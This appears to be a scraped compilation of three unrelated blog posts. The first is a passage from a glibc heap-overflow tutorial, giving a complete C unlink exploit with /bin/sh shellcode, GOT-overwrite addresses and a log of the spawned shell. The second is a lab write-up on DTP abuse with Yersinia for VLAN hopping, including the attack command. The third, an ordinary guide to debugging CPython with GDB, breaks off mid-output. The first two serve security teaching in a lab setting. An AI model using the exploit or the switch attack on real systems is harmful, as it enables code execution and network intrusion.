with shellcode address\!\! After successful overwrite, now when free is called
by vulnerable program at line \[5\], shellcode would get executed. Not very
clear? No problem, first lets see what ‘glibc malloc’ does when free gets
executed.

Without attacker influence, free at line \[4\] does the following:

  * For non mmaped chunks, consolidate backward and/or forward.
  * Consolidate backward: 
    * Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV\_INUSE \(P\) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV\_INUSE bit is set, by default chunk previous to the very first chunk of heap memory is allocated \(eventhough it doesnt exists\).
    * If free, consolidate ie\) unlink \(remove\) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
  * Consolidate forward: 
    * Find if next chunk is free – Next chunk is free, if next-to-next chunk’s \(from currently freed chunk\) PREV\_INUSE \(P\) bit is unset. To navigate to next-to-next chunk, add currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is top chunk and its PREV\_INUSE bit is set. Thus next chunk ‘second’ chunk is NOT free.
    * If free, consolidate ie\) unlink \(remove\) the next chunk from its binlist and add next chunk size to current size. But in our case next chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated forward.
  * Now add the consolidated chunk to unsorted bin. In our case since no consolidation happens, just add the ‘first’ chunk to unsorted bin.

Now lets say attacker at line \[3\] overwrites the chunk header of ‘second’
chunk as follows:

  * prev\_size = even number and hence PREV\_INUSE bit is unset.
  * size = -4
  * fd = free address – 12
  * bk = shellcode address

With attacker influence, free at line \[4\] does the following:

  * For non mmaped chunks, consolidate backward and/or forward.
  * Consolidate backward: 
    * Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV\_INUSE \(P\) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV\_INUSE bit is set since by default chunk previous to very first chunk of heap memory is allocated \(eventhough it doesnt exists\).
    * If free, consolidate ie\) unlink \(remove\) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
  * Consolidate forward: 
    * Find if next chunk is free – Next chunk is free, if next-to-next chunk’s \(from currently freed chunk\) PREV\_INUSE \(P\) bit is unset.To navigate to next-to-next chunk, add ‘currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is NOT top chunk. Next-to-next chunk is at offset -4 from ‘second’ chunk since attacker has overwritten ‘second’ chunk’s size with -4. Thus now ‘glibc malloc’ treats prev\_inuse field of ‘second’ chunk as size field of next-to-next chunk. Since attacker has overwritten an even number \( ie\) PREV\_INUSE \(P\) bit is unset\) in place of prev\_size ‘glibc malloc’ is tricked to believe that ‘second’ chunk is free.
    * If free, consolidate ie\) unlink \(remove\) the next chunk from its binlist and add next chunk size to current size. And in our case next chunk is free, hence ‘second’ chunk is unlinked as follows: 
      * Copy ‘second’ chunk’s fd and bk values to variables FD and BK, respectively. In our case FD = free address -12 and BK = shellcode address \(As part of heap overflow, attacker places his shellcode inside ‘first’ heap buffer\)
      * Value of BK is copied to a location at offset 12 from FD. In our case adding 12 bytes to FD, points to GOT entry of free and hence now GOT entry of free is overwritten with shellcode address. _Bingo\!\!_ Now on whenever free is invoked, shellcode gets executed\!\! Thus executing line \[5\] in vulnerable program results in shellcode execution.
  * Now add the consolidated chunk to unsorted bin.

Pictorial view of heap memory for the vulnerable program, with attacker
influenced user input:

<img src='img/4897_pub.png' width='739' height='661' />

Having understood the unlink technique, lets write an exploit program.

[code]

    /* Program to exploit 'vuln' using unlink technique.
     */
    #include <string.h>
    #include <unistd.h>
    
    #define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
    #define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 
    
    #define VULNERABLE "./vuln"
    #define DUMMY 0xdefaced
    #define PREV_INUSE 0x1
    
    char shellcode[] =
            /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
            (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
            Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
            "\xeb\x0assppppffff"
            "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    
    int main( void )
    {
            char * p;
            char argv1[ 680 + 1 ];
            char * argv[] = { VULNERABLE, argv1, NULL };
    
            p = argv1;
            /* the fd field of the first chunk */
            *( (void **)p ) = (void *)( DUMMY );
            p += 4;
            /* the bk field of the first chunk */
            *( (void **)p ) = (void *)( DUMMY );
            p += 4;
            /* the fd_nextsize field of the first chunk */
            *( (void **)p ) = (void *)( DUMMY );
            p += 4;
            /* the bk_nextsize field of the first chunk */
            *( (void **)p ) = (void *)( DUMMY );
            p += 4;
            /* Copy the shellcode */
            memcpy( p, shellcode, strlen(shellcode) );
            p += strlen( shellcode );
            /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
            of first chunk */
            memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
            p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
            /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
            *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
            p += 4;
            /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
            *( (size_t *)p ) = (size_t)( -4 );
            p += 4;
            /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
            would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
            second chunk's bk field (see below) */
            *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
            p += 4;
            /* the bk field of the second chunk. It should point to shell code address.*/
            *( (void **)p ) = (void *)( CODE_ADDRESS );
            p += 4;
            /* the terminating NUL character */
            *p = '';
    
            /* the execution of the vulnerable program */
            execve( argv[0], argv, NULL );
            return( -1 );
    }
[/code]

Executing the above program shows that a new shell is spawned\!\!

[code]

    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 
    $ ls
    cmd  exp  exp.c  vuln  vuln.c
    $ exit
    sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$
[/code]

_Protection_ : At present day, unlink technique doesnt work since ‘glibc
malloc’ has got hardened over the years. Below checks are added to prevent
heap overflow using unlink technique.

  * Double free: Freeing a chunk which is already in free state is prohibited. When attacker overwrites ‘second’ chunk’s size with -4, its PREV\_INUSE bit is unset which means ‘first’ is already in free state. Hence ‘glibc malloc’ throws up double free error.

[code]

        if (__glibc_unlikely (!prev_inuse(nextchunk)))
          {
            errstr = "double free or corruption (!prev)";
            goto errout;
          }
[/code]

  * Invalid next size: Next chunk size should lie between 8 bytes to arena’s total system memory. When attacker overwrites ‘second’ chunk’s size with -4, ‘glibc malloc’ throws up invalid next size error.

[code]

     if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
            || __builtin_expect (nextsize >= av->system_mem, 0))
          {
            errstr = "free(): invalid next size (normal)";
            goto errout;
          }
[/code]

  * Courrupted Double Linked list: Previous chunk’s fd and next chunk’s bk should point to currently unlinked chunk. When attacker overwrites fd and bk with free -12 and shellcode address, respectively, free and shellcode address + 8 doesnt point to currently unlinked chunk \(‘second’\). Hence ‘glibc malloc’ throws up corrupted double linked list error.

[code]

     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
          malloc_printerr (check_action, "corrupted double-linked list", P);
[/code]

_NOTE_ : For demo purposes, vulnerable program is compiled without following
linux protection mechanisms:

  * ASLR
  * NX
  * RELRO \(ReLocation Read-Only\)

_Reference_ :

  * vudo malloc tricks

### Share this:

  * Twitter70
  * Facebook6
  * Google
  * 

 Like

Be the first to like this.

Tagged glibc, heap overflow, unlink

# Post navigation

← Syscalls used by malloc.

Heap overflow using Malloc Maleficarum →

### Leave a Reply

Create a free website or blog at WordPress.com.  |  The Kelly Theme. 
Follow

### Follow “sploitF-U-N”

Get every new post delivered to your Inbox.

Build a website with WordPress.com

<img src='img/4898_g.gif' width='6' height='5' />

  

# Blog, Abusing DTP - DigiNinja

**Created:**| _10/22/2013 6:46:01 AM_  
---|---  
**Updated:**| _10/22/2013 6:46:01 AM_  
**Author:**| __  
**Tags:**| _pentest network-security infrastructure_  
  

# **A** busing DTP****

### Mon 21st Oct 13****

In the first two parts of this dig into layer 2 I covered how to set up a lab
using GNS3 and VirtualBox  and then adding and interacting with VLANs **.** In
this part I want to look at using Cisco's Dynamic Trunking Protocol  \- DTP -
to change the state of a port from access mode to trunk mode to allow us to
gain access all the VLANs on the network**.**

The previous link gives a more thorough overview of DTP but in summary, it is
a protocol developed by Cisco to allow devices connected to a switch negotiate
whether they need their port to be in trunk or access mode**.** It is enabled
by default on all ports so has to be deliberately disabled by an admin to turn
it off**.** Ports default to access mode leaving devices such as switches,
which need a trunk port, to request it**.** A port can be changed from one
state to the other through a single DTP packet and there is no authentication,
this makes it great as an attacker as you can easily switch your port to trunk
mode on any switch which has DTP enabled**.**

I wanted to do this work using the GNS3 lab which I'd already set up however,
after a bit of reading, I found that only Catalyst switches support DTP and
GNS3 is, currently, unable to support them**.** I had a hint that this might
be coming in the future but for now the only option is to use physical
hardware**.** Luckily this can be done relatively cheaply as I managed to buy
an old 2950 off eBay for just 99p \(and £20 postage\)**.**

## The Plan****

I can't use GNS3 for the setup but it is still great for drawing diagrams so
this is the network I'm going to set up**.**

<img src='img/Temp2_1089.png' alt='DTP lab network diagram' />

The lab will be initially set up like this:

Machine| Router Interface| IP| VLAN  
---|---|---|---  
C1| Fa0/0| 10**.** 0**.** 0.1| 1  
C2| Fa0/1| 10**.** 0.0**.** 2| 1  
If the switch is in the default configuration then to get this network working
all that is needed is to set the IP addresses on the two machines**.** I then
checked connectivity with a few pings to make sure all was working**.**

## The Action****

I'll assume that the switch is in a default configuration which means all
traffic will be on VLAN 1 and DTP will be set to auto mode**.** We can check
DTP is enabled with the following tcpdump command:

[code]

    tcpdump  -n -v -i usb0 -s 0 'ether[20:2] == 0x2004'
[/code]

<img src='img/Temp2_1087.png' alt='tcpdump of DTP packet' />

Packets are sent out every 30 seconds by default so if you don't see one
within a minute or so then you need to enable it, this is simple to do:

[code]

    Switch>en
    Switch#conf t
    Switch(config)#interface fa0/1
    Switch(config-if)#switchport mode dynamic auto
[/code]

The reason we are looking at this is to be able to jump from the VLAN we are
assigned over to a different one so now lets move C2 from VLAN 1 over to VLAN
5 which will remove our connectivity:

[code]

    Switch#conf t
    Switch(config)#interface fa0/2
    Switch(config-if)#switchport mode access
    Switch(config-if)#switchport access vlan 5
[/code]

If you now try to ping between the two machines it should fail**.**

Now it is time to launch the attack and regain connectivity**.** To generate
the DTP packets I'm going to use Yersinia  which is a great tool designed to
abuse a number of layer 2 protocols including DTP**.** The pre-compiled
versions, usually those found in distribution packages, are often quite out of
date so I've used the latest code from GitHub  but unfortunately this doesn't
build on Debian due to a bug in the configuration script**.** The fix is very
simple and I have an outstanding pull request  which will hopefully make it
into the main branch soon**.** Till then, all that is needed is to edit
configure and change line 4518:

[code]

    -    if test -d $dir -a -r "$dir/pcap**.** h" ; then
    +    if test -d $dir -a -r "$dir/pcap-bpf**.** h" ; then
[/code]

You can then follow the build and install instructions from there**.**

Once you have it installed the attack is a single command

[code]

    yersinia dtp -interface usb0 -version 1 -source <YOUR MAC> -dest 01:00:0c:cc:cc:cc -attack 1
[/code]

<img src='img/Temp2_1086.png' alt='Yersinia running' />

If you still have tcpdump running you will see a number of DTP packets being
sent out from your machine**.** You can also see the change in the IOS shell,
the top is before Yersinia and the bottom is after**.**

<img src='img/Temp2_1088.png' alt='Before and after Yersinia' />

Our port is now in trunk mode so we can run the same commands as we did in
part two and create a new virtual interface on VLAN 5 \(_my interface is usb0,
yours would probably be ethX_\):

[code]

    vconfig add usb0 5
    ifconfig usb0 0**.** 0.0.0
    ifconfig usb0.5 10**.** 0.0.1 up
[/code]

And finally check you can ping again**.**

<img src='img/Temp2_1090.png' alt='Adding VLAN 5 and checking connectivity' />

And that is it, with one simple Yersinia command the port has been changed
from access mode to trunk mode and we have access to the previously
inaccessible VLAN 5**.**

It is worth mentioning that my switch, if it hasn't received any DTP packets
for a while it will swap the port back to access mode, I don't know if this is
common across all implementations or not but it doesn't hurt to leave Yersinia
running in the background throughout your attack just to keep the switch happy
and the trunk in place**.**

## Summary****

DTP is a great way to magically turn an access port into a trunk port with
very little work**.** As far as I know, DTP is enabled by default on all
switches which support it and, as we all know, if something works out of the
box then most people won't change it, if in fact they even know the feature
exists in the first place**.** I'm definitely going to be firing up this
attack on most tests I do from now on as the 30 seconds or so it takes to
confirm whether DTP is enabled could make a world of difference on the results
of a test**.**

## Thanks****

Thanks to Neil who let me borrow some time on one of his switches till I got
hold of my own and to Colin \(@\_CRV \) for working through the whole process
on his switch to check my initial plans were correct**.**

****

# Site Perceptive » Debugging Your Python With GDB \(FTW\!\)

**Created:**| _4/20/2012 7:08:19 PM_  
---|---  
**Updated:**| _4/20/2012 7:08:19 PM_  
**Author:**| __  
**Tags:**| _Debugging python_  
  

# Debugging Your Python With GDB \(FTW\!\)

In this post we’ll take a look at how to debug your Python code using GDB. It
is a handy thing to understand, especially if you’re confronted with an
unexpected SEGV or other less than helpful error. **I do realize** there is
some awesome python-gdb.py integration with GDB. I purposefully ignored that.
Sometimes all ya have is the binary.

As an unfortunate note, I started doing this using Python 3.3, but at some
point, I switched to 2.6 accidentally. I’ve migrated the earlier pieces to
2.6. If anyone smarter than I notices an inconsistency, this is why. I’m
fairly certain I’ve cleaned it all up.

Finally, the GDB formatting is mine. I attempted to make it slightly more
readable. Hope it helps.

# How Does Python Evaluate Code?

First, a little bit of background. Python implements a stack-based virtual
machine. Python byte code manipulates that stack during normal execution. For
example, let’s take a look at a small application disassembled into byte code:

[code]

    a = 1
    b = 2
    c = a + b
    print c
    
[/code]

This is a fairly trivial example that should show us a good sampling of the
“instruction set.” We’re going to skim over this bit as understanding all of
the byte code operations really isn’t a necessity here. When we use the dis
module, we see that the following code is generated:

[code]

    jeff@martian:~/cpython$ /usr/bin/python -mdis add.py
    1           0 LOAD_CONST               0 (1)
                3 STORE_NAME               0 (a)
    
    2           6 LOAD_CONST               1 (2)
                9 STORE_NAME               1 (b)
    
    3          12 LOAD_NAME                0 (a)
               15 LOAD_NAME                1 (b)
               18 BINARY_ADD
               19 STORE_NAME               2 (c)
    
    4          22 LOAD_NAME                2 (c)
               25 PRINT_ITEM
               26 PRINT_NEWLINE
               27 LOAD_CONST               2 (None)
               30 RETURN_VALUE
    
[/code]

This is fairly self explanatory. We see at position 1 that the constants 1 & 2
are placed into a & b. Next, they’re placed on the stack and BINARY\_ADD is
called, which triggers the addition of two number objects. Next, STORE\_NAME
saves the value of the add operation \(from the top of the stack\) to the
location c. Finally, we load c and call the print operations. In Python 3,
this would simply call the print function, via CALL\_FUNCTION. For an overview
of how Python generates bytecode from Python code, see Python/compile.c. The
comment at the top of the file is quite helpful.

Using Python 2.6 as a reference point, all of this happens at Python/ceval.c.
The function handling byte code execution is named PyEval\_EvalFrameEx.
Generally, this is a big switch statement. I use the term switch loosely as it
is actually a collection of computed goto labels on both Mac OS and Linux
\(Visual Studio doesn’t allow that\).

Looking at this function, you’ll see various entries such as this;

[code]

      case POP_TOP:
         v = POP();
         Py_DECREF(v);
         goto fast_next_opcode;
    
[/code]

This is the implementation for the POP\_TOP instruction. The POP macro returns
the top value of the stack and the subsequent Py\_DECREF\(v\) decrements the
reference count. At this point, that could trigger execution of
v->ob\_type->tp\_del & v->ob\_type->tp\_dealloc, if the reference count of v
\(v->ob\_refcnt\) has reached zero. As an aside, note that Python checks for
events/thread switches every sys.getcheckinterval\(\) instructions. If the
corresponding implementation of an instruction is complex \(and doesn’t
release the GIL\), we can be left waiting here.

Now, we come to the function we’re interested in:

[code]

    PyObject * PyEvalCodeEx(PyObject *co, PyObject *globals, PyObject
        *locals, PyObject **args, int argcount, PyObject **kws, int
        kwcount, PyObject **defs, int defcount, PyObject *closure);
    
[/code]

Essentially, this function builds a frame from the code object being executed
and relies on PyEval\_PyEvalFrameEx to handle bytecode instruction evaluation.
The code object contains references to globals, locals, nested scopes \(free
vars/cell vars, depending on the angle\), etc. PyEvalCodeEx “transforms” that
into a PyFrameObject.

It is this code object evaluation function we’re interested in as functions
and methods are generally boiled down to code objects.

# Python Data Structure Data Structures

Now that we’ve covered where to look, we need to take a look at what to look
for. This means building a bit of an understanding around a few data
structures.

## Type Objects

All of Python’s classes \(well, almost\) are represented by PyTypeObject
objects, which is defined in Python/Include/Object.h. This structure contains
a whole lot of fields. Most of these fields will be pretty familiar looking as
this is generally how “dunder”, or \_\_methods\_\_ , are implemented.
Standard, generic values are used \(see PyType\_Ready\) if you don’t setup
your own. This is a long structure, but including it here is relevant:

[code]

    typedef struct _typeobject {
        PyObject_VAR_HEAD
        const char *tp_name; /* For printing, in format "
[/code]

.

" \*/ Py\_ssize\_t tp\_basicsize, tp\_itemsize; /\* For allocation \*/ /\*
Methods to implement standard operations \*/ destructor tp\_dealloc; printfunc
tp\_print; getattrfunc tp\_getattr; setattrfunc tp\_setattr; cmpfunc
tp\_compare; reprfunc tp\_repr; /\* Method suites for standard classes \*/
PyNumberMethods \*tp\_as\_number; PySequenceMethods \*tp\_as\_sequence;
PyMappingMethods \*tp\_as\_mapping; /\* More standard operations \(here for
binary compatibility\) \*/ hashfunc tp\_hash; ternaryfunc tp\_call; reprfunc
tp\_str; getattrofunc tp\_getattro; setattrofunc tp\_setattro; /\* Functions
to access object as input/output buffer \*/ PyBufferProcs \*tp\_as\_buffer;
/\* Flags to define presence of optional/expanded features \*/ long tp\_flags;
const char \*tp\_doc; /\* Documentation string \*/ /\* Assigned meaning in
release 2.0 \*/ /\* call function for all accessible objects \*/ traverseproc
tp\_traverse; /\* delete references to contained objects \*/ inquiry
tp\_clear; /\* Assigned meaning in release 2.1 \*/ /\* rich comparisons \*/
richcmpfunc tp\_richcompare; /\* weak reference enabler \*/ Py\_ssize\_t
tp\_weaklistoffset; /\* Added in release 2.2 \*/ /\* Iterators \*/ getiterfunc
tp\_iter; iternextfunc tp\_iternext; /\* Attribute descriptor and subclassing
stuff \*/ struct PyMethodDef \*tp\_methods; struct PyMemberDef \*tp\_members;
struct PyGetSetDef \*tp\_getset; struct \_typeobject \*tp\_base; PyObject
\*tp\_dict; descrgetfunc tp\_descr\_get; descrsetfunc tp\_descr\_set;
Py\_ssize\_t tp\_dictoffset; initproc tp\_init; allocfunc tp\_alloc; newfunc
tp\_new; freefunc tp\_free; /\* Low-level free-memory routine \*/ inquiry
tp\_is\_gc; /\* For PyObject\_IS\_GC \*/ PyObject \*tp\_bases; PyObject
\*tp\_mro; /\* method resolution order \*/ PyObject \*tp\_cache; PyObject
\*tp\_subclasses; PyObject \*tp\_weaklist; destructor tp\_del; /\* Type
attribute cache version tag. Added in version 2.6 \*/ unsigned int
tp\_version\_tag; \#ifdef COUNT\_ALLOCS /\* these must be last and never
explicitly initialized \*/ Py\_ssize\_t tp\_allocs; Py\_ssize\_t tp\_frees;
Py\_ssize\_t tp\_maxalloc; struct \_typeobject \*tp\_prev; struct \_typeobject
\*tp\_next; \#endif \} PyTypeObject;

The typedef \(typedefs? Anyone know the plural of \#typedef?\) above \(i.e.
PyNumberMethods\) are the C-level equivalent of the double underscore methods
required to implement a certain protocol \(programmatic interface\). They
expand into method collections:

[code]

    typedef struct {
        lenfunc mp_length;
        binaryfunc mp_subscript;
        objobjargproc mp_ass_subscript;
    } PyMappingMethods;
    
[/code]

These translate into len, subscript, and subscript assignment.

## Instances

All Python instances are all implemented as pointers to PyObject values, which
is defined as:

[code]

    typedef struct _object {
        PyObject_HEAD
    } PyObject;
    
[/code]

PyObject\_HEAD, by default, expands to include only a pointer to the object’s
type \(type objects have a type of type\!\) and the reference count.

[code]

    /* PyObject_HEAD defines the initial segment of every PyObject. */
    #define PyObject_HEAD                   \
        _PyObject_HEAD_EXTRA                \
        Py_ssize_t ob_refcnt;               \
        struct _typeobject *ob_type;
    
[/code]

Wait\! Where is all of the per-instance data you say? For classes that do not
define \_\_slots\_\_, there is a dictoffset member of the corresponding
PyTypeObject structure. This provides the address, via offset from the end of
the PyObject structure, that contains a Python dictionary. This is the
\_\_dict\_\_ used to store per instance information. If \_\_slots\_\_ is
defined, then dictoffset is NULL and the slot values are stored at the end of
the PyObject structure and accessed via descriptors. Generic structures are
passed around via casting \(and turned back into concrete values via the same
method\).

Somewhat related bonus Python trivia: The class dictionary is actually a
PyDictProxy\_Type that refers to the type’s tp\_dict field. You can’t edit it
directly.

To clarify, assuming we have a type NinjaTurtle that is represented by
PyTypeObject \*ninja, then for an instance donatello, the following is true:
\(PyObject \*\)donatello->ob\_type = ninja; Good. So, naturally, to perform an
init call, the corresponding code would like like the following:

[code]

    donatello->ob_type->tp_init((PyObject *)donatello);
    
[/code]

In fact, this is almost exactly what happens when a type is called directly
\(ala class instantiation: MyClass\(\)\).

## Code Objects

Let’s look at one final object, the code object. This is represented by a
structure defined in code.h. It is rather simple object \(though note the
first member\).

[code]

    /* Bytecode object */
    typedef struct {
        PyObject_HEAD
        int co_argcount;    /* #arguments, except *args */
        int co_nlocals;   /* #local variables */
        int co_stacksize;   /* #entries needed for evaluation stack */
        int co_flags;   /* CO_..., see below */
        PyObject *co_code;    /* instruction opcodes */
        PyObject *co_consts;  /* list (constants used) */
        PyObject *co_names;   /* list of strings (names used) */
        PyObject *co_varnames;  /* tuple of strings (local variable names) */
        PyObject *co_freevars;  /* tuple of strings (free variable names) */
        PyObject *co_cellvars;      /* tuple of strings (cell variable names) */
        /* The rest doesn't count for hash/cmp */
        PyObject *co_filename;  /* string (where it was loaded from) */
        PyObject *co_name;    /* string (name, for reference) */
        int co_firstlineno;   /* first source line number */
        PyObject *co_lnotab;  /* string (encoding addr<->lineno mapping) See
               Objects/lnotab_notes.txt for details. */
        void *co_zombieframe;     /* for optimization only (see frameobject.c) */
        PyObject *co_weakreflist;   /* to support weakrefs to code objects */
    } PyCodeObject;
    
[/code]

From here, we can switch into Python. Note the above fields and then have a
peek at a function’s func\_code attribute \(\_\_code\_\_ in 3.x\):

[code]

    >>>
    >>> def f(): pass
    ...
    [66987 refs]
    >>> import pprint
    [67863 refs]
    >>> pprint.pprint(dir(f.func_code))
    ['__class__',
    '__delattr__',
    '__dir__',
    '__doc__',
    '__eq__',
    '__format__',
    '__ge__',
    '__getattribute__',
    '__gt__',
    '__hash__',
    '__init__',
    '__le__',
    '__lt__',
    '__ne__',
    '__new__',
    '__reduce__',
    '__reduce_ex__',
    '__repr__',
    '__setattr__',
    '__sizeof__',
    '__str__',
    '__subclasshook__',
    'co_argcount',
    'co_cellvars',
    'co_code',
    'co_consts',
    'co_filename',
    'co_firstlineno',
    'co_flags',
    'co_freevars',
    'co_kwonlyargcount',
    'co_lnotab',
    'co_name',
    'co_names',
    'co_nlocals',
    'co_stacksize',
    'co_varnames']
    [67870 refs]
    >>>
    
[/code]

Perfect. Now we’ve made the connection between Python and C. Now we can take a
look at the actual debugging process.

# GDB’ing the Py.

We’ll use the same small bit of code we used above as our test script. We’re
referencing /usr/bin/python here, which may vary on your system.

First, we’ll start the interpreter. Note that we’re debugging Python itself,
not the script passed to it. GDB will not start if we pass in the Python
script as the executable.

[code]

    jeff@martian:~/cpython$ gdb /usr/bin/python
    GNU gdb (GDB) 7.4-gg1
    Copyright (C) 2012 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux".
    
    Reading symbols from /usr/bin/python...
    Reading symbols from /usr/lib/debug/usr/bin/python...done.
    done.
    
[/code]

Now we’ll set the appropriate args for the execution of Python — our script.
Note that nothing is running at this point.

[code]

    (gdb) set args add.py
    
[/code]

Now, since we want to see how to pick apart the location of our Python code
from the C level, we’ll set a breakpoint at PyEval\_EvalCodeEx. This forces
GDB to up and stop when it gets to our function.

[code]

    (gdb) break PyEval_EvalCodeEx
    Breakpoint 1 at 0x80e1f53: file ../../../Python/ceval.c, line 2767.
    (gdb)
    
[/code]

Note that if the correct source is available, this gets much easier as there
is Python+GDB integration available via python-gdb.py. Now, we can run the
executable:

[code]

    (gdb) run
    Starting program: /usr/bin/python add.py
    
    Breakpoint 1, PyEval_EvalCodeEx (co=0xf7de7338, globals=0xf7df313c,
       locals=0xf7df313c, args=0x0, argcount=0, kws=0x0, kwcount=0,
       defs=0x0, defcount=0, closure=0x0)
    at ../../../Python/ceval.c:2767
    2767 ../../../Python/ceval.c: No such file or directory.
    
[/code]

## Understanding the Object Representation

From here, we can examine the code in question. First, let’s print the value
of the first argument to PyEval\_EvalCodeEx. From our prototype above, we know
this is a code object:

[code]

    (gdb) p *co
    $1 = {ob_refcnt = 1, ob_type = 0x81a1e60, co_argcount = 0,
      co_nlocals = 0, co_stacksize = 1, co_flags = 64,
      co_code = 0xf7dedd40, co_consts = 0xf7dedd0c,
      co_names = 0xf7dc102c, co_varnames = 0xf7dc102c,
      co_freevars = 0xf7dc102c, co_cellvars = 0xf7dc102c,
      co_filename = 0xf7de4200, co_name = 0xf7dedd60,
      co_firstlineno = 1, co_lnotab = 0xf7dc10b0, co_zombieframe = 0x0}
    (gdb)
    
[/code]

Here, we see the ob\_refcnt and the ob\_type. If we cast this to a PyObject
\*, you’ll see that it only prints that information.

[code]

    (gdb) p *(PyObject *)co
    $4 = {ob_refcnt = 1, ob_type = 0x81a1e60}
    (gdb)
    
[/code]

Ok, let’s step ahead until we see something interesting. We’ll “GDB continue”
until we have an args=<value> which is not 0×0, or NULL. We’ll look at the
following frame:

[code]

    Breakpoint 1, PyEval_EvalCodeEx (co=0xf7d8cc80, globals=0xf7d8a35c, locals=0x0,
      args=0x81bfe7c, argcount=0, kws=0x81bfe7c, kwcount=0, defs=0x0,
       defcount=0, closure=0x0)
    at ../../../Python/ceval.c:2767
    2767 in ../../../Python/ceval.c
    (gdb) info frame
    Stack level 0, frame at 0xfffec7a0:
    eip = 0x80e1f53 in PyEval_EvalCodeEx (../../../Python/ceval.c:2767);
      saved eip 0x80e0cd2
    called by frame at 0xfffec890
    source language c.
    Arglist at 0xfffec798, args: co=0xf7d8cc80, globals=0xf7d8a35c,
      locals=0x0, args=0x81bfe7c,
      argcount=0, kws=0x81bfe7c, kwcount=0, defs=0x0, defcount=0, closure=0x0
    Locals at 0xfffec798, Previous frame's sp is 0xfffec7a0
    Saved registers:
    ebx at 0xfffec78c, ebp at 0xfffec798, esi at 0xfffec790,
      edi at 0xfffec794, eip at 0xfffec79c
    (gdb)
    
[/code]

First, let’s have a look at the co value again:

[code]

    (gdb) p *co
    $10 = {ob_refcnt = 2, ob_type = 0x81a1e60, co_argcount = 0,
           co_nlocals = 0, co_stacksize = 1,
           co_flags = 99, co_code = 0xf7d8e688,
           co_consts = 0xf7d8ddac, co_names = 0xf7dc102c,
           co_varnames = 0xf7dc102c, co_freevars = 0xf7dc102c,
           co_cellvars = 0xf7dc102c,
           co_filename = 0xf7d8cc38, co_name = 0xf7d8ddc0,
           co_firstlineno = 51, co_lnotab = 0xf7d8dde0,
           co_zombieframe = 0x0}
    
[/code]

## Building a Python Friendly Backtrace

Now we can deduce where exactly this code comes from. We can pull the line
number, the function name, and the file\!

[code]

    (gdb) p co->co_firstlineno
    $16 = 51
    (gdb) x/s ((PyStringObject)*co->co_name)->ob_sval
    0xf7d8ddd4: "_g"
    (gdb) x/s ((PyStringObject)*co->co_filename)->ob_sval
    0xf7d8cc4c: "/usr/lib/python2.6/types.py"
    (gdb)
    
[/code]

So, types.py, line 51, function \_g. Let’s take a look:

[code]

    jeff@martian:~$ head /usr/lib/python2.6/types.py -n 51 | tail -n 1
    def _g():
    
[/code]

Excellent. This is where our Python function lives\! There’s no point in going
into it, however, this gives us a starting point to determine where a problem
lives.

## Looking up Argument Types and Values

Furthermore, we can pull out information about the arguments passed as well.
Let’s go back and determine what the type is. Remember our ‘info frame’ gave
us an args parameter?

[code]

    (gdb) p *args
    $21 = (PyObject *) 0x0
    
[/code]

Drat\! Null. This function takes no arguments. Let’s jump down a few more
frames until we find a function that includes an argument.

[code]

    Breakpoint 1, PyEval_EvalCodeEx (co=0xf7d9f8d8, globals=0xf7d8a9bc, locals=0x0,
      args=0xf7d9e1c8, argcount=4, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0)
    at ../../../Python/ceval.c:2767
    2767 in ../../../Python/ceval.c
    (gdb) info frame
    Stack level 0, frame at 0xfffefa50:
    eip = 0x80e1f53 in PyEval_EvalCodeEx (../../../Python/ceval.c:2767);
      saved eip 0x813e70e
    called by frame at 0xfffefac0
    source language c.
    Arglist at 0xfffefa48, args: co=0xf7d9f8d8, globals=0xf7d8a9bc, locals=0x0,
